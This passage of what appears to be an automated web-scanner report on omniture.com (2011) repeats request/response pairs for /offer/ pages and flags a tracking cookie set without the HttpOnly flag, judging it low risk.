GET /offer/291 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:26:08 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:26:08 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:26:09 GMT Content-Length: 14357 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:26:08 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>30 SEO Strategies for Corporate ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/301 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:32:30 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:32:30 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:32:30 GMT Content-Length: 13581 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:32:30 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Becoming a Data Driven Marketer ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/303 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:16 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:16 GMT Content-Length: 14171 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Multichannel Retailing: Retaini ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/323 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:16 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:16 GMT Content-Length: 13878 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Survey: Product Overvi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/331 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:24:20 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:24:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:24:21 GMT Content-Length: 15381 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:24:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Where is Interactive Marketing ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/335 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:12 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:12 GMT Content-Length: 13682 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Insight: Convert Shopp ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/337 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:27:07 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:27:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:27:07 GMT Content-Length: 13420 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:27:07 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Insight: Gain Rapid Bu ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/357 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:26:03 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:26:03 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:26:04 GMT Content-Length: 15005 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:26:03 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Is 15% of Your Online Budget Al ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/372 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:44 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:44 GMT Content-Length: 14022 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Sprint Measures Impact of Socia ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/400 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:26:16 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:26:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:26:16 GMT Content-Length: 15457 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:26:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Landing Page Optimization: How ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/411 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:05 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:05 GMT Content-Length: 14658 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Merchandising Product ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/412 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:07 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:07 GMT Content-Length: 14313 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:07 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Guess Shopper Engagement and Si ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/413 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:25:06 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:25:06 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:25:06 GMT Content-Length: 14330 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:25:06 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>10 Best Practices for Online Me ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/427 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:24:43 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:24:43 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:24:43 GMT Content-Length: 14491 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:24:43 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Is Your SEO Guy Using Facebook? ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/429 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 06:25:23 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 06:25:23 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 06:25:24 GMT Content-Length: 15284 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 06:25:23 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Measure and Monetize Online Vid ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /offer/435 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
